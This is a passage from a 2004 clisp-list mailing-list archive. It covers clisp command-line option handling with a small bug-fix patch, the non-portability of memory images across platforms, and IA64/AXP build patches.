RC file is not loaded, command- > line arguments situated after the lisp-file name are available > in ext:*args* and when the file is loaded, clisp terminates. > Example: 'clisp toto.lisp 1 2 3' > > But as soon as I try using a -i initfile option in my command > line, it does not work anymore as above : > - the #! line in the lisp-file causes a read error, > - my RC file is loaded prior to everything else, even the initfile, > - no command-line arguments are available (ext:*args* is NIL), > - worse, trailing command-line arguments are interpreted as > lisp files to be loaded > - and finally, clisp enters a REPL. > Example: 'clisp -i initfile.lisp toto.lisp 1 2 3' > > There is no indication of incompatibility between -i options and the > terminal lisp-file argument in the man, so I am a bit surprised. what incompatibility? these are entirely different options, completely unrelated. > Is it a bug? Is it an 'undocumented feature'? Is there some > workaround available? this is precisely the intended behavior, as documented. "-i" means load an "init" lisp file and proceed to repl or script "terminal" means a lisp script: execute standalone. these are different options with different purposes. if you are familiar with bash, you might find the following simile helpful: "-i foo.lisp" corresponds to ". foo.sh" (or "source foo.csh"), while the "script" or as you call it "terminal" option corresponds to running a shell script. -- Sam Steingold (http://www.podval.org/~sds) running w2k My other CAR is a CDR. From sds@gnu.org Wed Jun 30 06:55:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BffYY-0000HZ-5P for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 06:55:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BffYX-000551-Pn for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 06:55:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5UDtDJL003830; Wed, 30 Jun 2004 09:55:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Fabian Boucsein Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040630103241.28a332ca.kanvas75@web.de> (Fabian Boucsein's message of "Wed, 30 Jun 2004 10:32:41 +0200") References: <20040630103241.28a332ca.kanvas75@web.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Fabian Boucsein Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: Exposure-EVENT-GET-MACRO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 06:56:06 2004 X-Original-Date: Wed, 30 Jun 2004 09:55:13 -0400 > * Fabian Boucsein [2004-06-30 10:32:41 +0200]: > > While trying the hello.lisp example of the clx directory i get the > following error: EXPOSURE-EVENT-GET-MACRO: symbol GET-CODE has no > value there is no file "hello.lisp" in clisp/modules/clx/. when I build clisp with the clx/new-clx module and do $ ./clisp -q -norc -K full -i ../modules/clx/mit-clx/demo/hello.lisp -x '(xlib::hello-world "localhost")' I get the "hello world" window. please be more specific about the problem. (clisp version? configure options?) -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux - find out what you've been missing while you've been rebooting Windows. From lvaucher.ext@francetelecom.com Wed Jun 30 07:08:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bffku-0001WY-VB for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 07:08:08 -0700 Received: from relais-inet.francetelecom.com ([212.234.67.6]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bffkt-0007f7-F0 for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 07:08:08 -0700 Received: from [193.248.188.2] by relais-filtrant-03.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 16:07:57 +0200 Received: from fedft01a.francetelecom.fr by relais-filtrant-03.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 16:07:57 +0200 Received: from puexcc21.nanterre.francetelecom.fr by fedft01a.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 16:07:56 +0200 Received: from puexcb70.nanterre.francetelecom.fr ([10.168.74.27]) by PUEXCC21.nanterre.francetelecom.fr with Microsoft SMTPSVC(5.0.2195.5329); Wed, 30 Jun 2004 16:07:56 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.0.6556.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-Id: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Cygwin] Command-line options: strange behaviour Thread-Index: AcReqNeQ9pjkYD4ITE2d9Pa0AUV4WQAAKC+A From: VAUCHER L Ext SIRES To: X-OriginalArrivalTime: 30 Jun 2004 14:07:56.0534 (UTC) FILETIME=[A47DC160:01C45EAB] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] RE: [Cygwin] Command-line options: strange behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 07:09:01 2004 X-Original-Date: Wed, 30 Jun 2004 16:07:56 +0200 >what incompatibility? >these are entirely different options, completely unrelated. That's what I hoped for. >"-i" means load an "init" lisp file and proceed to repl or script This is precisely not what I get. It seems that the -i option automatically triggers the REPL mode and forbids the script mode. I'll try to explain what I get and what I thought I'd get after reading the docs. Suppose I've got an init file called "initfile.lisp" that does --you guess-- some initialization work, like setting some custom variables or such things. Suppose, then, that I've got another file that I wish to use as a script (the name is definitely better that my 'terminal' thing attempt). This script really 'drives' the program and as such, needs to have access to remaining command-line arguments. After parsing those arguments, the script proceeds to real work. I call this file "script.lisp". Well, what I would like to do is run the script after having done some initialization. So I type at the shell prompt # clisp -i initfile.lisp script.lisp arg1 arg2 What I hoped was that the [-i initfile.lisp] arguments were taken together as meaning 'load the initfile.lisp file before anything else', and the [script.lisp arg1 arg2] part as meaning 'run script.lisp as a script, with arguments arg1 and arg2 in ext:*args*' and exit when done. What I get is that 'initfile.lisp' 'script.lisp' 'arg1' and 'arg2' are all treated as if they had been specified as -i initfile.lisp -i script.lisp -i arg1 -i arg2, which is definitely not what I thought. I also tried # clisp -i initfile.lisp -q script.lisp arg1 arg2 thinking that maybe another option in between file names would make my intent clearer to clisp arguments interpretation, but the result is the same. I hope I have made my 'question' clearer than it was in the initial post. Thanks. Laurent. From sds@gnu.org Wed Jun 30 07:29:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bfg5S-0004A2-Fg for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 07:29:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bfg5S-00040A-0v for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 07:29:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5UETDJL014990; Wed, 30 Jun 2004 10:29:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, VAUCHER L Ext SIRES Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (VAUCHER L. Ext SIRES's message of "Wed, 30 Jun 2004 16:07:56 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, VAUCHER L Ext SIRES Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: [Cygwin] Command-line options: strange behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 07:30:20 2004 X-Original-Date: Wed, 30 Jun 2004 10:29:13 -0400 > * VAUCHER L Ext SIRES [2004-06-30 16:07:56 +0200]: > >>"-i" means load an "init" lisp file and proceed to repl or script > > This is precisely not what I get. the appended patch fixes the bug. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Just because you're paranoid doesn't mean they AREN'T after you. --- spvw.d 25 Jun 2004 15:30:51 -0400 1.302 +++ spvw.d 30 Jun 2004 10:27:15 -0400 @@ -2129,6 +2129,7 @@ argv_selection_array[argc-1- argv_expr_count++] = arg; break; default: NOTREACHED; } + argv_for = for_exec; } } batchmode_p = /* '-c' or '-x' or file => batch-mode: */ From pascal@informatimago.com Wed Jun 30 11:31:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bfjrz-0003LG-3m for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:31:43 -0700 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bfjry-0000cu-CO for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:31:43 -0700 Received: from thalassa.informatimago.com (unknown [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BC8F6586E3; Wed, 30 Jun 2004 20:31:30 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 93065536FE; Wed, 30 Jun 2004 20:34:40 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040630183440.93065536FE@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] compatibility of images Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 11:32:09 2004 X-Original-Date: Wed, 30 Jun 2004 20:34:40 +0200 (CEST) Is there a way to save an image on a Linux system to be used on a MS-Windows system (with clisp on cygwin)? I tried it with clisp-2.33.1. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@informatimago.com Wed Jun 30 11:47:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bfk6p-0005BO-8T for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:47:03 -0700 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bfk6n-0006t4-VU for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:47:03 -0700 Received: from thalassa.informatimago.com (unknown [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 30241586E3; Wed, 30 Jun 2004 20:46:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 22A8F53700; Wed, 30 Jun 2004 20:49:44 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040630184944.22A8F53700@thalassa.informatimago.com> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] compatibility of images Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 11:48:00 2004 X-Original-Date: Wed, 30 Jun 2004 20:49:44 +0200 (CEST) Is there a way to save an image on a Linux system to be used on a MS-Windows system (with clisp on cygwin)? I tried it with clisp-2.33.1. % /usr/bin/clisp -q -ansi --version GNU CLISP 2.33.1 (2004-05-22) (built on winsteingoldlap [192.168.1.101]) Software: GNU C 3.3.1 (cygming special) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I586 (I586) triton.infomatimago.com [195.114.85.200] $ ../clfit.app/bin/clisp -q -ansi --version GNU CLISP 2.33.2 (2004-06-02) (built 3297462804) (memory 3297463070) Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: /home/pascal/xxxxxx/clfit.app/lib/clisp/ User language: ENGLISH Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79] -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Wed Jun 30 12:42:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfkyF-0001tu-V2 for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 12:42:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BfkyD-0005Xq-4X for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 12:42:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5UJfmJL021422; Wed, 30 Jun 2004 15:41:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040630183440.93065536FE@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 30 Jun 2004 20:34:40 +0200 (CEST)") References: <20040630183440.93065536FE@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: compatibility of images Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 12:43:06 2004 X-Original-Date: Wed, 30 Jun 2004 15:41:48 -0400 > * Pascal J.Bourguignon [2004-06-30 20:34:40 +0200]: > > Is there a way to save an image on a Linux system to be used on a > MS-Windows system (with clisp on cygwin)? no (and you can hardly expect it: memory image is really an image in RAM, so it is highly non-portable, even between the same version of CLISP on the same machine, when CLISP is built with different memory models!) For code, you can concatenate all your FAS files into one huge file and (the same version of) CLISP will happily load it, on any platforms. For data, you can use CLLIB:WRITE-TO-FILE and CLLIB:READ-FROM-FILE. -- Sam Steingold (http://www.podval.org/~sds) running w2k A man paints with his brains and not with his hands. From werner@suse.de Thu Jul 01 03:20:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bfyfl-0003qz-2s for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 03:20:05 -0700 Received: from cantor.suse.de ([195.135.220.2]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1Bfyfk-0004Tj-L6 for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 03:20:05 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 81E49821544 for ; Thu, 1 Jul 2004 12:20:02 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20040701102002.GA14483@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Working: IA64 and AXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 1 03:21:02 2004 X-Original-Date: Thu, 1 Jul 2004 12:20:02 +0200 Hi, I've done some changes to get clisp 2.33.2 working on IA64 and AXP. The patch in the first attachment changes the ffcall to get it work with IA64. The patch in the second attachment implements the possiblity to use --libdir at configure to get /usr/lib64 as libdir as mentioned in the FHS and the patch also gives the possiblity to set MYCFLAGS for _all_ compiles because for IA64 and AXP the MYCFLAGS has to be set to -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP or otherwise some function calls will fail due wrong return values. E.g. qix.lisp in the new-clx demos fails. Now only s390x aka the 64bit version of s390 is missed in the list of clisp compiles. Werner -- Dr. Werner Fink, SuSE LINUX AG, Maxfeldstrasse 5, D-90409 Nuernberg Germany http://www.suse.de/ and USA http://www.suse.com/ mail:werner@suse.de http://www.suse.de/~werner/ fax:+49-911-3206727 ------------------------------------------------------------------------ "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Thu Jul 01 05:56:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bg17F-0001oA-Ky for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 05:56:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bg17E-00082k-6d for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 05:56:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i61Cu1HP011285; Thu, 1 Jul 2004 08:56:02 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040701102002.GA14483@wotan.suse.de> (Werner Fink's message of "Thu, 1 Jul 2004 12:20:02 +0200") References: <20040701102002.GA14483@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Working: IA64 and AXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 1 05:57:07 2004 X-Original-Date: Thu, 01 Jul 2004 08:56:01 -0400 > * Dr. Werner Fink [2004-07-01 12:20:02 +0200]: > > I've done some changes to get clisp 2.33.2 working on IA64 and AXP. > The patch in the first attachment changes the ffcall to get it work > with IA64. The patch in the second attachment implements the > possiblity to use --libdir at configure to get /usr/lib64 as libdir as > mentioned in the FHS and the patch also gives the possiblity to set > MYCFLAGS for _all_ compiles because for IA64 and AXP the MYCFLAGS has > to be set to > > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP > > or otherwise some function calls will fail due wrong return values. > E.g. qix.lisp in the new-clx demos fails. > > Now only s390x aka the 64bit version of s390 is missed in the list of > clisp compiles. great! could you please send us the URL of your patches? If they are small you can just append them to your message. (If you insist on using attachments, please send them directly to Bruno) Thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k nobody's life, liberty or property are safe while the legislature is in session From werner@suse.de Thu Jul 01 06:42:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bg1pe-0006dr-Rj for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 06:42:30 -0700 Received: from cantor.suse.de ([195.135.220.2]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1Bg1pe-0008WK-P7 for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 06:42:31 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id C367A823C75 for ; Thu, 1 Jul 2004 15:42:28 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20040701134228.GA24500@wotan.suse.de> References: <20040701102002.GA14483@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Working: IA64 and AXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 1 06:43:04 2004 X-Original-Date: Thu, 1 Jul 2004 